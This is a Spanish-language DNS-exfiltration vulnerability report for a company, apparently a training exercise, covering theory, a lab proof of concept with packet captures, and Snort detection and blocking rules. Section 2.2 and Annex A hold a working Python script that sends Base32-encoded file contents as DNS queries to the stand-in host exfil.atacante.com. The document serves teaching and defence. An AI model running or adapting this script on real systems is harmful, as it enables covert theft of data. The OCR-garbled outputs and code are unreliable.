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1. Resumen tedrico

1.1 ¢Qué es la exfiltracion de datos por DNS?

El Sistema de Nombres de Dominio (DNS) es uno de los protocolos fundamentales de
Internet. Su funcién principal es traducir nombres legibles por humanos (como
www.empresa.com) en direcciones IP que los equipos pueden utilizar para comunicarse
entre si. Este protocolo es esencial para el funcionamiento de cualquier red y, por este
motivo, raramente es bloqueado por los cortafuegos corporativos.

La exfiltracion de datos por DNS es una técnica de ataque en la que un actor malicioso
aprovecha este protocolo para extraer informacién confidencial de una red corporativa sin
ser detectado. En lugar de utilizar canales convencionales (correo electréonico, HTTP, FTP),
el atacante codifica los datos robados dentro de las propias consultas DNS, ocultandolos
a plenavista.

1.2 ;Cémo funciona el ataque?
El proceso se puede resumir en los siguientes pasos:

1. Un malware se instala en un equipo de la victima y localiza los datos a robar
(credenciales, documentos, bases de datos).

2. Los datos se codifican en formato Base32 o Base64 para ser validos como nombre
de subdominio DNS.

3. Elmalware realiza consultas DNS a un dominio controlado por el atacante,
incluyendo los datos codificados en el subdominio. Por ejemplo:
IFJEGSCJK.dominio-atacante.com.

4. Elservidor DNS del atacante recibe las consultas, extrae los subdominiosy
reconstruye la informacién original.

Ataque de exfiltracion por DNS — Flujo y deteccion

fi Query DNS maliciosa Reenvio autoritativo
VICTIMA L3 | 5705 CobiFICADOS exti. SERVIDOR DNS <2 | query ega al dominio ATACANTE &
Equipo victima atacante.com Servidor DNS piiblico del atacante Servidor del atacante
Malware instalado Google 8.8.8.8 ns1.exfil.atacante.com
192.168.1.38 Reenvia sin filtrar Recibe y decodifica datos
Estructura de la consulta DNS maliciosa
(S T T W, W e e Ry S, O i . et Rl R TR R e B S T \
: IFJEGSCJKZHSAQ2PJZDESRCFJZBUSQ . exfil . atacante . com i
e Sy e S s it e, e SO SRR R R e L SR L NSRS R } ______________ 7
{Datos confidenciales codiﬁcados) [ Subdominio de control — J [Dominio controlada]
en Base32 (fragmento 1 de 13) identifica el canal de exfiltracion por el atacante

Deteccidn y mitigacion con Snort IDS/IPS

Modo IDS SNORT IDS/IPS Modo IPS
Genera alerta en tiempo real A\ ALERTA: alert udp any any -> any 53 (msg:"DNS Exfiltration - datos codificadosexfil.”; sid:1000001;) Descarta el paquete (drop)
El tréfico contintia El tréfico se bloquea
Registro en log Requiere modo inline + NFQUEUE

Modo IDS: detecta y alerta — Modo IPS: detecta y bloguea (action drop)

TechCorp Solutions S.L. = Informe de Vulnerabilidad — Mayo 2026
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5. Lavictima jamads nota que sus datos han abandonado la red, ya que el trafico DNS
es indistinguible del trafico legitimo para los sistemas de seguridad
convencionales.

Segun el framework MITRE ATT&CK, esta técnica esta catalogada como T1048.003 —
Exfiltration Over Unencrypted Non-C2 Protocol [5], dentro de la tactica Exfiltration. Es
una de las técnicas mas utilizadas por actores de amenaza avanzados (APT)
precisamente por su dificultad de deteccion.

1.3 Riesgo para TechCorp Solutions SL

Para TechCorp Solutions S.L., empresa que gestiona datos confidenciales de clientes,
contratos y credenciales de acceso a sistemas criticos, este tipo de ataque supone un
riesgo alto para la confidencialidad de la informacion. Las consecuencias potenciales
incluyen:

¢ Robo de credenciales de bases de datos y sistemas internos.

e Exposicion de datos personales de clientes, con el consiguiente riesgo de
sanciones bajo el RGPD.

e Pérdida de ventaja competitiva por filtracion de informacidn estratégica.

e Dafo reputacional ante clientes y socios comerciales.

Amenaza/ Probabilidad Impacto Accion

Consecuencia recomendada

Robo de credenciales Implementacion
internas Alta Muy Alto CRITICO urgente de IPS +
DNS filtering

Exposicién datos Monitorizacion DNS
personales (RGPD) Alta Muy Alto CRITICO + cifrado de datos
en reposo

Restriccion de
acceso a DNS
externos

Filtracion de
informacion Media Alto
estratégica

Plan de respuesta a
incidentes
actualizado

Dano reputacional ante
clientes Media Alto

Auditoria periédica
de trafico DNS

Sanciones regulatorias

Baj Muy Alt
(RGPD) i s
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La principal peligrosidad de este ataque reside en que el tréfico DNS es legitimo a ojos de
los sistemas de seguridad convencionales. Un cortafuegos estandar no bloqueara estas
consultas, ya que son necesarias para el funcionamiento de la red.

2. Demostracion Técnica (Proof of Concept)

2.1 Entorno de pruebas

La prueba de concepto se ha realizado en el siguiente entorno:
e Sistema operativo host: Debian 13 (Trixie) — Intalacion minima (Netinst)
¢ Contenedor: Docker con Ubuntu 20.04 LTS
e [IDS/IPS: Snort 2.9.x
¢ Interfaz dered: wlp1s0 (192.168.1.38/24)

e Herramientas adicionales: tcpdump, Python 3, dnsutils

2.2 Simulacién del ataque

Para simular el ataque se ha creado un fichero de texto que representa informacion
confidencial de la empresay se ha desarrollado un script en Python que automatiza la
exfiltracién mediante consultas DNS.

2.2.1 Datos exfiltrados

El siguiente fichero simula un documento confidencial corporativo con credencialesy
datos sensibles. El contenido incluido para hacer la PoC es el siguiente:

@debian:/home/practica# cat confidencial.txt
/O CONFIDENCIAL - EMPRESA

Espero que este archivo no se filtre, porque aqui guardo mi password!

Usuario: admin

Password: Sup3rs3cr3te
Server Address: 172.16.1.30
Visa: 1234-5678-9012-3456

2.2.2 Codificaciony envio de los datos

Los datos se codifican en Base32 y se trocean en fragmentos de 30 caracteres, cada uno
correspondiente a un subdominio DNS:
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yian: /home/practica# base32 confidencial.txt | fold -w

] HAQ“P]ﬂDE%R{F]”EUHQ
KMEAWSARKNKBJEKU2BBIWS2LINFUWS
2LINFUWS2LINFUWS
2LINFUWSZLINFUWS2LINFUFAURLTOB
SXE3ZAOF 2ZWKIDFON2GKIDBOJRWQZLW
N4QG43ZAONSSAZT]
NR2HEZJIMEBYG64TROVSSAYLROVUSAZ
3VMFZGI3ZANVUSA4DBONZX0335MQQQ
UCSVON2WCATINASC
AYLENVUWACSQMFZXG53P0OJSDUICTOV
YDG4TTGNRXEM3UGAFFGZLS0ZSXEICB
MRSHEZLTOM5CAMIX
GIXDCNROGEXDGMAKKZUXGYJ2EAYTEM
ZUFU2TMNZYFU4ATAMISFUZTINIWBI==

A continuacidn se ejecuta el script de exfiltracidn, que automatiza el envio de cada
fragmento como una consulta DNS independiente:

ctica/exfiltracion.py
[*] Enu qndn 1: querlea DNH
[+] Query IF]EuH{JKLHHAQ”PJ“DEHR{F]*EHHQ.exfil.atacante.cﬂm
[+] Query KMEAWSARKNKBIEKU2BBIWSZ2LINFUWS .exfil.atacante.com
[+] Query 2LINFUWS2Z2LINFUWS2LINFUWS2LINFU.exfil.atacante. com
[+] Query 4: WSZLINFUFAURLTOBSXE3ZAOF2WKIDF.exfil.atacante.com
[+] Query ON2GKIDBOJRWQZ2LWN4QGA3ZAONSSAZ .exfil.atacante.com
[+] Query 6: TINR2HEZIMEBYG64TROVSSAYLROVUS.exfil.atacante.com
[+] Query AZ3IVMFZGI3ZANVUSA4DBONZX0335M(.exfil.atacante. com
[+] Query QQUCSVON2ZWCATIN45CAYLENVUWACSQ.exfil.atacante. com
[+] Query 9: MFZXG53P0JSDUICTOVYDGATTGNRXEM.exfil.atacante.com
[+] Query 1@: SUGAFFGZLSOZSXEICBMRSHEZLTOMSC . exfil.atacante. com
[+] Query 11: AMIXGIXDCNROGEXDGMAKKZUXGYJZ2EA.exfil.atacante.com
[+] Query 12: YTEMZUFU2ZTMNZYFUATAMISFUZTINIW.exfil.atacante.com
[+] Query 13: .exfil.atacante.com
[*] E?fi]trqunn completada
root@debian:/# []

'-.D 00 =] On LA = L) BJ I—|I

Para demostrar que los datos son completamente recuperables por el atacante, se realiza
el proceso inverso: unir los fragmentos y decodificarlos:

root@debian:/home/practica# base32 confidencial.txt | fold -w 30 |tr -d '\n' | base32 -d

Espero que este archivo no se filtre, porque aqui guardo mi password!

Usuario: admin
P1wau: J:

Visa: 1234-5678-9012- 3455
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2.2.3 Captura del trafico con tcpdump

tcpdump captura el trafico DNS generado durante el ataque y lo almacena en el fichero
exfil.pcap. Los primeros paquetes del fichero muestran las consultas con los datos
codificados:

. (49)

9.151019
.165369
16

EI '“L]NFUw\ exfil.atacante.com. (67)

R RD PR R R R R RI R R R N N R R R R R N
INETNENINENENINENGNENE NN NN NN NE N NN

1/ A 207.
ain: 5055*+ AAAA? KMEA KNKB EVU“EEIW\“LlNFUWb‘Elel‘ataiante‘cﬂm‘ (67)

Ahora, sicambiamos el comando y en vez de pedir los 20 primeros paquetes, con los que
hemos visto que funcionaba, pedimos aplicando un filtro con la direccidn del atacante:
exfil.atacante.com, obtenemos todo el trafico DNS que nos interesa, que es la parte del
ataque que se estaria exfiltrando:

-nn | grep "exfil.atacante"
ENIOMB cEthmnst)

A? TFIEGSC
AAAA? TFIEGSC]
- 1. 2 : A? KMEAWSARKNKBIEKU2BBI JNFU
.600082 - ; BE AAAA? KMEAWSARKNKBIEKU2BBIWS2LINFUWS.
A? “L?NFuwH“LlNFuwH“L?NFuwH“L1NFU
L

AARA? 2L_ FU \"LJNFU LlNFHW\“L]NHJ
A? WS2LINFUFAURLTO 3ZA0F2WKIDF.
AAAA? WH“LINFUFAURLTOE 'AOF’WKIDF

. . 1. : 36362+

0-2806 - .1.38.53 : 52916+
0“4“ - Sy 3: 55505+
50726+

: 33596+

: 14363+

37902+

37902+

yy I
22
27
22:
27
22:
27 -
22:
27
22
27 .
22
27
22:
vyl
22
27 -
22:
o
22:
27 .
22:
27
22:
37 -
22:
¥
22
yy I
22
27
22:
52
22
27 -
22:
¥
22
yy I
22
27
22:
37 -
22:
¥
22
o
22
27
22:
27:
22:
37 -
22:
¥
22
o
22:

Abriendo el fichero .pcap con Wireshark y aplicando el filtro dns contains "exfil", se
visualizan Unicamente los 54 paquetes relacionados con el ataque:
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[dns contains "exfil”

Time Source Destination Protocol Lengtt Info
13 63.476496 192.168.1.38 8.8.8.8 DNS 109 Standard query ©x5546 A IFJEGSCJKZHSAQ2PJZDESRCFJZBUSQ.exfil.atacante.com
14 68.482573 192.168.1.38 8.8.8.8 DNS 109 Standard query ©x5546 A IFJEGSCJKZHSAQ2PJZDESRCFJZBUSQ.exfil.atacante.com
15 68.6992088 8.8.8.8 192.168.1.38 DNS 125 Standard query response ©x5546 A IFJEGSCJIKZHSAQ2PJZDESRCFJZBUSQ.exfil.atacante.com A 287.148.248.143
16 68.700412 192.168.1.38 8.8.8.8 DNS 109 Standard query ©x6877 AAAA IFJEGSCJKZHSAQZPJZDESRCFJIZBUSQ.exfil.atacante.com
17 68.807236 8.8.8.8 192.168.1.38 DNS 109 Standard query response ©x6877 AAAA IFJEGSCJKZHSAQ2PJZDESRCFJZBUSQ.exfil.atacante.com
18 69.343009 192.168.1.38 8.8.8.8 DNS 109 Standard query 0x4282 A KMEAWSARKNKBJEKU2BBIWS2LJINFUWS.exTil.atacante.com
19 69.446237 8.8.8.8 192.168.1.38 DNS 125 Standard query response @x4282 A KMEAWSARKNKBJEKU2BBIWS2LINFUWS.exfil.atacante.com A 287.148.248.143
20 69.447116 192.168.1.38 8.8.8.8 DNS 189 Standard query ©xc57d AAAA KMEAWSARKNKBJEKU2BBIWSZLJINFUWS.exfil.atacante.com
21 69.550073 8.8.8.8 192.168.1.38 DNS 109 Standard query response @xc57d AAAA KMEAWSARKNKBJEKUZ2BBIWSZLINFUWS.exfil.atacante.com
26 70.079861 192.168.1.38 8.8.8.8 DNS 109 Standard query ©x3025 A 2LINFUWS2LJINFUWS2LINFUWS2LJINFU.exTil.atacante.com
27 70.342396 8.8.8.8 192.168.1.38 DNS 125 Standard query response ©x3025 A 2LINFUWS2LINFUWSZLINFUWS2LINFU.exfil.atacante.com A 207.148.248.143
28 70.343128 192.168.1.38 8.8.8.8 DNS 109 Standard query ©xa%a8 AAAA 2LJNFUWSZLINFUWS2LINFUWS2ZLINFU.exfil.atacante.com
29 75.349836 192.168.1.38 8.8.8.8 DNS 189 Standard query ©xa%a8 AAAA 2LJNFUWSZLJINFUWS2LINFUWS2LINFU.exfil.atacante.com
30 80.355122 192.168.1.38 8.8.8.8 DNS 109 Standard query ©xa%a8 AAAA 2LJNFUWSZLINFUWS2LINFUWSZLJINFU.exTil.atacante.com
31 86.575752 8.8.8.8 192.168.1.38 DNS 109 Standard query response ©xa9a8 AAAA 2L JNFUWSZLJNFUWS2LJINFUWS2LINFU.exfil.atacante.com
32 81.115672 192.168.1.38 8.8.8.8 DNS 189 Standard query OxfBab A WS2LINFUFAURLTOBSXE3ZAOF2WKIDF.exfil.atacante.com
33 81.217108 8.8.8.8 192.168.1.38 DNS 125 Standard query response @xf@ab A WSZLINFUFAURLTOBSXE3ZAOF2WKIDF.exfil.atacante.com A 207.148.248.143
34 81.217910 192.168.1.38 8.8.8.8 DNS 189 Standard query ©xaa8d AAAA WS2LJNFUFAURLTOBSXE3ZAOF2WKIDF.exfil.atacante.com
35 81.318563 8.8.8.8 192.168.1.38 DNS 109 Standard query response OxaaBd AAAA WS2LINFUFAURLTOBSXE3ZAOF2WKIDF.exfil.atacante.com
36 81.855016 192.168.1.38 8.8.8.8 DNS 109 Standard query ©x71d4 A ON2GKIDBOJRWQ2LWN4QG43ZAONSSAZ.exfil.atacante.com
37 82.223721 8.8.8.8 192.168.1.38 DNS 125 Standard query response Ox71d4 A ON2GKIDBOJRWQ2LWN4QG43ZAONSSAZ.exfil.atacante.com A 287.148.248.143
38 82.224537 192.168.1.38 8.8.8.8 DNS 109 Standard query ©xbBe8 AAAA ON2GKIDBOJRWQ2ZLWNAQG43ZAONSSAZ.exfil.atacante.com
39 82.358329 8.8.8.8 192.168.1.38 DNS 189 Standard query response ©xbB88 AAAA ON2GKIDBOJRWQZLWNAQG43ZAONSSAZ.exfil.atacante.com
4@ 82.895249 192.168.1.38 8.8.8.8 DNS 109 Standard query ©xffb3 A TINR2HEZJIMEBYG64TROVSSAYLROVUS.exTil.atacante.com
41 83.240118 8.8.8.8 192.168.1.38 DNS 125 Standard query response @xffb3 A TINR2HEZJMEBYGG64TROVSSAYLROVUS.exfil.atacante.com A 207.148.248.143
42 83.248944 192.168.1.38 8.8.8.8 DNS 189 Standard query ©x15b2 AAAA TJINRZHEZJMEBYGE4TROVSSAYLROVUS.exfil.atacante.com
43 83.442733 8.8.8.8 192.168.1.38 DNS 109 Standard query response ©x15b2 AAAA TINRZHEZJMEBYG64TROVSSAYLROVUS.exTil.atacante.com
44 83.981329 192.168.1.38 8.8.8.8 DNS 109 Standard query ©x@T56 A AZ3VMFZGI3ZANVUSA4DBONZXO033SMQ.exfil.atacante.com
45 84.081837 8.8.8.8 192.168.1.38 DNS 125 Standard query response @x8f56 A AZIVMFZGI3ZANVUSA4DBONZX033SMQ.exfil.atacante.com A 207.148.248.143
46 84.082584 192.168.1.38 8.8.8.8 DNS 109 Standard query Oxbefe AAAA AZ3VMFZGI3ZANVUSA4DBONZX033SMQ.exfil.atacante.com
47 84265687 8.8.8.8 192.168.1.38 DNS 189 Standard query response Oxbefe AAAA AZ3VMFZGISZANVUSA4DBONZX033SMQ.exfil.atacante.com
48 84.810765 192.168.1.38 8.8.8.8 DNS 109 Standard query ©x756b A QQUCSVON2WCATIN4SCAYLENVUWACSQ.exfil.atacante.com
49 84.909080 8.8.8.8 192.168.1.38 DNS 125 Standard query response @x758b A QQUCSVON2WCATJIN4SCAYLENVUWACSQ.exfil.atacante.com A 207.148.248.143
50 84.909769 192.168.1.38 8.8.8.8 DNS 109 Standard query Oxc686 AAAA QQUCSVONZWCATIN45CAYLENVUWACSQ.exfil.atacante.com
51 85.011183 8.8.8.8 192.168.1.38 DNS 109 Standard query response Oxc686 AAAA QQUCSVON2WCATINASCAYLENVUWACSQ.exfil.atacante.com
52 85.548260 192.168.1.38 8.8.8.8 DNS 189 Standard query ©xbBda A MFZXG53POJSDUICTOVYDGATTGNRXEM.exfil.atacante.com
53 85.661863 8.8.8.8 192.168.1.38 DNS 125 Standard query response ©xb@4a A MFZXG53P0JSDUICTOVYDGATTGNRXEM.exTil.atacante.com A 207.148.248.143
54 85.662567 192.168.1.38 8.8.8.8 DNS 109 Standard query ©xbab2 AAAA MFZXG53POJSDUICTOVYDGATTGNRXEM.exfil.atacante.com
55 85.765502 8.8.8.8 192.168.1.38 DNS 109 Standard query response Oxbab2? AAAA MFZXG53POJSDUICTOVYDGATTGNRXEM.exfil.atacante.com
56 86.302184 192.168.1.38 8.8.8.8 DNS 109 Standard query ©x8e@a A 3UGAFFGZLSOZSXEICBMRSHEZLTOMSC.exfil.atacante.com
57 86.538618 8.8.8.8 192.168.1.38 DNS 125 Standard query response Ox8eBa A 3UGAFFGZLSOZSXEICBMRSHEZLTOMSC.exfil.atacante.com A 287.148.248.143
58 86.539240 192.168.1.38 8.8.8.8 DNS 109 Standard query ©xceb4 AAAA 3UGAFFGZLSOZSXEICBMRSHEZLTOMSC.exfil.atacante.com
59 86.639678 8.8.8.8 192.168.1.38 DNS 109 Standard query response @xceb4 AAAA 3UGAFFGZLSOZSXEICBMRSHEZLTOMSC.exfil.atacante.com
60 87.176676 192.168.1.38 8.8.8.8 DNS 189 Standard query ©xd8d1 A AMIXGIXDCNROGEXDGMAKKZUXGYJ2EA.exfil.atacante.com
61 87.277760 8.8.8.8 192.168.1.38 DNS 125 Standard query response ©xd8dl A AMIXGIXDCNROGEXDGMAKKZUXGYJ2EA.exfil.atacante.com A 207.148.248.143
62 87.278458 192.168.1.38 8.8.8.8 DNS 109 Standard query ©xc626 AAAA AMJXGIXDCNROGEXDGMAKKZUXGYJ2EA.exfil.atacante.com
63 87.383305 8.8.8.8 192.168.1.38 DNS 109 Standard query response Oxc626 AAAA AMJXGIXDCNROGEXDGMAKKZUXGYJ2EA.exfil.atacante.com
64 87.921080 192.168.1.38 8.8.8.8 DNS 109 Standard query ©x833c A YTEMZUFU2TMNZYFUATAMJSFUZTINJW.exfil.atacante.com
65 88.368397 8.8.8.8 192.168.1.38 DNS 125 Standard query response ©x833c A YTEMZUFU2TMNZYFUATAMJISFUZTINJW.exfil.atacante.com A 287.148.248.143
66 88.361108 192.168.1.38 8.8.8.8 DNS 109 Standard query ©x381b AAAA YTEMZUFU2TMNZYFUATAMISFUZTINIW.exfil.atacante.com
67 88.467332 8.8.8.8 192.168.1.38 DNS 189 Standard query response ©x381b AAAA YTEMZUFU2TMNZYFUATAMJSFUZTINJW.exfil.atacante.com
68 89.004408 192.168.1.38 8.8.8.8 DNS 87 Standard query exfil.atacante.com
69 94.009055 192.168.1.38 8.8.8.8 DNS 87 Standard query exril.atacante.com

. 298323 Standard query failure A B xfil.atacante.

Al expandir el detalle de uno de los paquetes en Wireshark, se aprecia claramente el
subdominio con los datos codificados en Base32 dentro del campo de la consulta DNS:

~ Domain Mame System (query)
Transaction ID: 0Ox71d4
= Flags: 0x@100 Standard query

B... .... .... .... = Response: Message is a query

Lea e... ... .... = Opcode: Standard guery (@)
Truncated: Message is not truncated
Recursion desired: Do guery recursively
vees aawe GBL Lo0s = E oreserved (@)
MNon-authenticated data: Unacceptable

@ -
i

R
1}

@
|

Questions: 1
Answer RRs: ©
Authority RRs: @
Additional RRs: @

= Queries
b ONZGKIDBOJRWQZLWNAQG43ZAONSSAZ .exfil.atacante.com: type A, class IN
[Response In: 37]

2.2.4 Deteccidn con Snort

Snort, ejecutandose en modo IDS sobre la interfaz wlp1s0, detecta en tiempo real cada
una de las consultas DNS maliciosas y genera una alerta por cada fragmento enviado:



MCD | Mediterranean Cyber Defense

snort -i wlpls@ -A console - C c o
=11 [ L - i riori {UDP} 192.
=] [ : NS L n - C cad [**] riori {UDP} 192.
[**] [1: : NS Exfil n - [** riori {UDP} 192.
[**] [1: 3 NS fil n - f [**] r i {UDP} 192
+=1] e ; NS L n - [ riori {UDP} 19
=] e : NS L n - riori {UDP} 19
[**] [1: : NS L n - [** riori {UDP} 192.
[**] [1: 3 NS fil n - f | r i {UDP} 192
+=1] e ; NS L n - d C cad [**] riori {UDP} 192
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La regla configurada identifica el patrén .exfil. en el nombre del dominio consultadoy
clasifica el trafico como sospechoso. Cada paquete desde 192.168.1.38 hacia 8.8.8.8:53
que contenga dicho patron dispara una alerta con la clasificacion DNS Exfiltration - datos
codificados, Priority 0.

3. Propuesta de remediacidon y mitigacion

3.1 Configuracion de Snort para deteccion

En primer lugar, es necesario configurar Snort en modo IDS para detectar intentos de
exfiltracion por DNS. Se afiaden las siguientes reglas al fichero
/etc/snort/rules/local.rules:

datos

alert udp any any -> any 53 (msg:"DNS Exfiltration
codificados"; content:".exfil."; sid:1000001; rev:1j;)

alert tcp any any -> any 53 (msg:"DNS Exfiltration datos codificados

TCP"; content:".exfil."; sid:1000002; rev:1;)

Para iniciar Snort en modo IDS se ejecuta:

snort -i wlpi1s0 -A console -q -c /etc/snort/snort.conf

3.2 Configuracién de Snort para bloqueo

Para bloquear activamente el trafico malicioso, Snort debe operar en modo IPS. En este
modo, la accidn alert se sustituye por drop:

drop udp any any -> any 53 (msg:"DNS Exfiltration BLOCKED";
content:".exfil."; sid:1000003; rev:i;)

drop tcp any any -> any 53 (msg:"DNS Exfiltration BLOCKED TCP";
content:".exfil."; sid:1000004; rev:i;)



MCD | Mediterranean Cyber Defense

Para que el bloqueo sea efectivo, Snort debe ejecutarse en modo inline con NFQUEUE:
1. Redirigir el trafico DNS a la cola de Snort:

iptables -I INPUT -p udp --dport 53 -j NFQUEUE --queue-num O
2. Iniciar Snort en modo inline:

snort -Q --dag nfq --dag-var queue=0 -c /etc/snort/snort.conf -A
console

3.3 Medidas complementarias

Ademas de la configuracion de Snort, se recomienda implementar las siguientes
medidas:

e Limitar las consultas DNS unicamente a los servidores DNS corporativos
autorizados, bloqueando el acceso directo a servidores externos como 8.8.8.8.

e Monitorizar anomalias en el trafico DNS: volumen inusualmente alto de consultas,
subdominios muy largos o consultas a dominios desconocidos.

¢ Implementar soluciones de DNS filtering que bloqueen dominios maliciosos
conocidos.

e Mantener Snort actualizado con las ultimas reglas de la comunidad (Snort
Community Rules).

e Lasreglas configuradas son especificas del dominio usado en la PoC. En
produccion deben complementarse con reglas basadas en longitud de
subdominio (>40 caracteres) y frecuencia de consultas por minuto.

e Laregla content:".exfil." puede generar falsos positivos si un dominio legitimo
contiene esa cadena. Se recomienda establecer un procedimiento periédico de
revision de alertas para discriminar trafico legitimo.

e Tras activar el IPS, relanzar la PoC en el entorno de laboratorio y verificar que Snort
genera los drops correspondientes y los registra correctamente en el log antes de
desplegar en produccioén.

e Activar el preprocesador DNS de Snort (preprocessor dns) en snort.conf para
habilitar inspeccion profunda del protocolo DNS, reduciendo falsos positivos y
mejorando la cobertura de deteccidn.

e Para el DNSfiltering, se recomienda evaluar Pi-hole para entornos pequenos o
soluciones empresariales como Cisco Umbrella o Infoblox BloxOne segun el
volumen de trafico y presupuesto de TechCorp Solutions S.L.
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Anexo A — Script de exfiltracion DNS (PoC)

El siguiente script ha sido desarrollado integramente en Python 3 con el propésito
exclusivo de demostrar, en un entorno de laboratorio controlado, el mecanismo de
exfiltracién de datos mediante consultas DNS descrito en la seccidon 2.2 de este informe.

El script lee un fichero, codifica su contenido en Base32, lo fragmenta en bloques de 30
caracteres y envia cada fragmento como subdominio de una consulta DNS independiente
usando la utilidad dig (dnsutils) [6][7][8]-

Advertencia: Este cddigo es material educativo. Su ejecucion fuera de un entorno
autorizado puede ser constitutiva de delijto.
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exfiltracion.py

import base64
import subprocess
import time

# Leer el fichero confidencial
with open("'/home/practica/confidencial.txt", "rb") as f:
datos = f.read()

# Codificar en base64
encoded = base64.b32encode(datos).decode()

# Trocear en chunks de 30 caracteres (limite de subdominio DNS)
chunks = [encoded[i:1+30] for i in range(0O, len(encoded), 30)]

print(f"[*] Enviando {len(chunks)} queries DNS...")

for i, chunk in enumerate(chunks):
dominio = f"{chunk}.exfil.atacante.com"
print(f"[+] Query {i+1}: {dominio}")
subprocess.run(["nslookup", dominio, "8.8.8.8"],
capture_output=True)
time.sleep(0.5) # pequena pausa entre queries

print("[*] Exfiltracion completada")
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